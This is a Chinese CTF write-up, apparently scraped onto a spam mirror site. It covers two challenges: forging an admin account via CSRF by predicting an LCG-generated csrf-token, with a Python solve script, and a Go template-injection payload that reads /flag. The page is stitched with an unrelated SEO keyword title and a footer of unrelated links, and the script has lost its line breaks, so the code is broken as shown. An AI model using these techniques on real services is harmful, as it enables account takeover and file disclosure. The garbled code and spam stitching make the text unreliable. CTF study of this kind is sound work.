当前位置: 首页 > news >正文

网站建设计无形资产在线教育网站开发实例

网站建设计无形资产,在线教育网站开发实例,开发软件大概需要多少钱,wordpress mxtheme02Admin Dashboard 在 index.php 中可以看到需要访问者是 admin 权限,才可以看到 flag。 report.php 中可以让 admin bot 访问我们输入的 url,那么也就是说可以访问 addadmin.php 添加用户。 在 addadmin.php 中可以添加 admin 用户,但是需…

Admin Dashboard

在 index.php 中可以看到需要访问者是 admin 权限,才可以看到 flag。
在这里插入图片描述
report.php 中可以让 admin bot 访问我们输入的 url,那么也就是说可以访问 addadmin.php 添加用户。
在这里插入图片描述

在 addadmin.php 中可以添加 admin 用户,但是需要 admin 权限添加,且 csrf-token 要是 admin 用户生成的,也就是说现在万事俱备,只差 csrf-token,而这个 csrf-token 是线性同余生成的伪随机数,且我们知道了其中的,M 和 n(伪随机数),那么自然也就可以逆推出 A 和 C,也就可以伪造 admin 的 csrf-token 了,具体实现过程和函数关系,可以看看相关文章。

在这里插入图片描述

import requests
import re
import time
import string
import random
import binasciiBASE = 'http://admin-dashboard.chal.ctf.acsc.asia'
#BASE = 'http://localhost:8000'
username = ''.join(random.sample(string.ascii_letters, 10))
password = ''.join(random.sample(string.ascii_letters, 10))print(f'username -> {username}')
print(f'password -> {password}')s = requests.Session()
s.get(BASE + '/register', params={'username':username, 'password':password})
s.get(BASE + '/login', params={'username':username, 'password':password})x = []
for _ in range(8):		#获取8个伪随机的线性 token,用来逆推 t = s.get(BASE + '/addadmin').texttoken = re.findall(r'<input type=\"hidden\" name=\"csrf-token\" value=\"([0-9a-f]*)\">', t)[0]print(token)x.append(int(token, 16))time.sleep(35)# ============================================# https://satto.hatenadiary.com/entry/solve-LCGdef solve_unknown_increment(states, A, M):B = (states[1] - A * states[0]) % Mreturn Bfrom Crypto.Util.number import inversedef solve_unknown_multiplier(states, M):A = (states[2] - states[1]) * inverse((states[1] - states[0]), M)return Afrom Crypto.Util.number import inverse, GCD
from functools import reducedef solve_unknown_modulus(states):diffs = [X_1 - X_0 for X_0, X_1 in zip(states, states[1:])]multiples_of_M = [T_2 * T_0 - T_1 ** 2 for T_0, T_1, T_2, in zip(diffs, diffs[1:], diffs[2:])]# GCD(GCD(multiples_of_M[0],multiples_of_M[1]), multiples_of_M[2])M = reduce(GCD, multiples_of_M)return MM = solve_unknown_modulus(x)
A = solve_unknown_multiplier(x, M)
C = solve_unknown_increment(x, A, M)# answer
print("A = {}".format(hex(A)))
print("C = {}".format(hex(C)))
print("M = {}".format(hex(M)))# ============================================from Crypto.Util.number import *assert (A * bytes_to_long(username.encode()) + C) % M == x[0]print(hex((A * bytes_to_long('admin'.encode()) + C) % M))

获得 csrf-token 后,发送生成 admin 账户的 url,最后以 admin 权限的账户登录即可。

http://localhost/addadmin?username=waeji25fgew&password=dfgj34ijgi&csrf-token=1fe69abb084e42434627a84405d722e0

在这里插入图片描述

easySSTI

if err := t.Execute(buf, c); err != nil { 模板生成的部分,在 main.go 里面,且上下文传递的变量c是echo.Context,我们可以搜索任何从这里追踪到并可以使用的东西。

https://github.com/labstack/echo/blob/master/echo.go,发现一个叫做 Filesystem 的东西,可以用 Open 打开 File,它会返回相应文件的 fs.File。
在这里插入图片描述
然后用它自己准备的 Read,且在 main.go 中 tmpl, ok := c.Get("template").([]byte) 可以检索变量 .Get "template" 如果将其指定为保存目标,然后显示它就可以让 flag 以十进制数组来显示。
在这里插入图片描述
在这里插入图片描述

payload:

{{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{.Get "template"}}

wp

https://blog.hamayanhamayan.com/entry/2023/02/26/124239
http://www.yayakq.cn/news/864393/

相关文章:

  • 网站建设首页需要哪些元素饮料招商网站大全
  • 平阳县建设局网站网站技术方案怎么写
  • dedecms 门户网站怎么做和美团一样的网站
  • 商城类网站风格徐州市工程招标网
  • 深圳网站建设服务哪家有天津建设工程信息网滨海时报
  • 建设网站的准备嘉兴网站制作厂家
  • 网站本地环境搭建软件网页美工设计教程百度网盘
  • 国内做性视频网站有哪些网站建设的广告投入
  • 里水网站设计中国庆阳网
  • 深圳门户网站有哪些青海省高等级公路建设管理局网站
  • 如何做网站美工的wordpress怎样修改备案号
  • 提升审美的网站外贸软件平台哪个好
  • 百度商桥怎样绑定网站中国舆情监测公司排名
  • 工程建设招投标网站商品展示页面设计模板
  • 东莞网站建设智搜宝怎么设计自己的网页
  • 北京网站seo哪家公司好云南网站排名
  • 网站需求分析的主要内容建筑设计网站模板
  • 给网站做引流多少钱二级网站域名
  • 建设银行企业网银网站过期怎么让搜索引擎收录网站
  • 郑州做网站优化公网站如何做双链路
  • 做网站 需要工信部备案吗网站工程前端
  • 怎么在印度做网站衡水建网站
  • 校园网站开发方案做网站字体一般设置
  • 怎么找到合适的网站建设商河北建投商务网电子招标采购平台
  • 孝感企业做网站网站建设 金手指排名霸屏
  • 网站开发适合女生不个人网站建设联系电话
  • 广东专业网站优化公司软件技术有限公司
  • 楚雄 网站建设备案域名查询官网
  • 东莞网站推广定制公司免费下载百度
  • 阜阳市城乡建设网站建设工程考试官方网站